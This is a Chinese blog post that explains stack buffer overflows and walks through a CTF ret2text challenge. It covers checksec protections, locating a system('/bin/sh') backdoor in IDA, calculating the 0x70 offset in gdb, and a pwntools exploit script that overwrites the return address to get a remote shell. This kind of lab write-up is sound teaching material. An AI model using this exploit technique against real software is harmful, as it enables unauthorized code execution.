栈溢出(一):栈溢出原理

栈是一种数据结构,遵循后进先出的原则(Last in First Out),主要有压栈(push)与出栈(pop)两种操作

eax, ebx, ecx, edx, esi, edi, ebp, esp 等都是 X86 汇编语言中 CPU 上的通用寄存器的名称,是32位的寄存器。如果用C语言来解释,可以把这些寄存器当作变量看待。

在栈中,%esp 保存栈帧的栈顶地址,%ebp保存栈帧的栈底地址

程序的栈是从进程地址空间的高地址向低地址增长的

栈溢出原理:

栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。此外,我们也不难发现,发生栈溢出的基本前提是:

  • 程序必须向栈上写入数据。
  • 写入的数据大小没有被良好地控制

最典型的栈溢出利用是利用溢出覆盖程序的返回地址为攻击者所控制的地址,比如将返回地址覆盖为 system(‘/bin/sh’) 的地址,当然需要确保这个地址所在的段具有可执行权限

简单利用

通过学校 CTF 入门题目中的 ret2text 栈溢出为例(感觉有点像 CTFHUB 技能树中的 ret2text 那题?)

首先下载附件,利用 checksec 检查程序开启的保护

Canary: 在栈的末尾加插入一个值,退出函数时检查 canary 是不是原来的值,如果不是就调用 stack_chk_fail 函数退出程序。

影响: 不能轻易的栈溢出了。需要泄露 canary 值,或者劫持 stack_chk_fail 函数,或者爆破 canary。

 NX: 堆栈上面写入的东西不能被执行,即将数据所在内存页表示为不可执行,当程序溢出成功转入 shellcode 时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。

影响:不能直接使用 shellcode 提升权限了。

PIE: 把文件内部地址随机化,每次都是随机的地址。

影响:不能轻易查看函数地址和调用内部函数或者指令了,在 ida 只能看见部分地址,也就是 pie 偏移量。需要获得 pie 基地址。

通过 checksec 可以知道这个是 i386 的32位架构的程序,其中的canary 和 pie 保护没有开启。

可以先修改程序可执行权限让程序可以执行

chmod +rx ret2text

然后拖到 ida 进行分析,在函数列表可以看到 main 函数:

 这里调用了 gets() 这个危险函数,它不检查输入字符串的长度,而是以回车来判断输入是否结束,可以输入任意长度的内容所以很容易可以导致栈溢出,

ps:查看 secure 函数,是个后门函数,这里有 system(“/bin/sh”),可以启动一个 shell,所以我们填充数据让返回地址覆盖到 system() 的地址就可以拿到 shell 了

也可以通过查看 ida 的 strings 窗口(一般是 shift+f12 ; 也可以在 IDA 主界面中,点击顶部菜单栏的 “View”,在下拉菜单中选择 “Open subviews”,从子菜单中选择 “Strings” ,也可以看到有可执行后门:system('/bin/sh');

那么可以利用溢出将返回地址 ret 覆盖到执行 system('/bin/sh'); 的地址即可,双击 /bin/sh ,ctrl+x 追踪到 /bin/sh 的地址0x0804863A (当然,本人快捷键用不了o.O?要长脑子了,原本是 Graph view模式的函数窗口中右键选“Text view”即可切换到代码模式,然后在菜单 Search -> Text search 即 ‘Alt +T’来搜索字符串 ‘/bin/sh’ 也可以查找到地址为 0x0804863A ),

接下来再查看数组 s 的位置以及返回地址来确定 s 到返回地址之间应该填充多少数据。

 char s[100] 在 [ebp-64h] (即 ebp-100),返回地址位置: 在 ebp+4,偏移量计算: 从s到返回地址需要覆盖 100 + 4 = 104 字节即 0x68//然而这是错误的,正确应该是 0x70

为什么会这样?这道题是 esp 寻址,不能用 ebp 寻找溢出长度

我们可以知道调用 gets() 函数的 call 地址为 0x80486AE

gdb 调试步骤:

gdb ./ret2text 
disass main       #反汇编main函数
break *0x80486ae  #给 call gets的指令地址 0x80486ae 打上断点
run               #运行
continue          #执行到断点处
info registers    #到达断点后,查看寄存器
x/20wx $esp       #查看栈内容
disassemble       #查看反汇编
list              #查看源代码(如果编译时有-g选项)

进行 pwngdb 调试下这个call的断点,然后运行得到如图:

eax: 0xffffd10c → 这是变量s的地址(gets的参数)

ebp: 0xffffd178 → 当前栈帧基址指针

esp: 0xffffd070 → 当前栈顶指针

s地址: 0xffffd10c
ebp地址: 0xffffd178
偏移量 = ebp – s = 0xffffd178 – 0xffffd10c = 0x6C = 108 字节
返回地址位置: ebp + 4 = 0xffffd178 + 4 = 0xffffd17c
s到返回地址的偏移量 = 返回地址位置 – s地址 = 0xffffd17c – 0xffffd10c = 0x70 = 112 字节

编写 exp.py

from pwn import *

io = remote("chive.vaa.la",33175)


system_addr = 0x804863a

payload = flat(
    b'a' * 0x70+p32(system_addr)
)
io.sendlineafter(b'There is something amazing here, do you know anything?\n', payload)

io.interactive()

然后就是 cat flag 拿到 flag

参考:栈溢出原理 – CTF Wiki

栈溢出(一):栈溢出原理以及基本ROP – Briyney – 博客园

上一篇
下一篇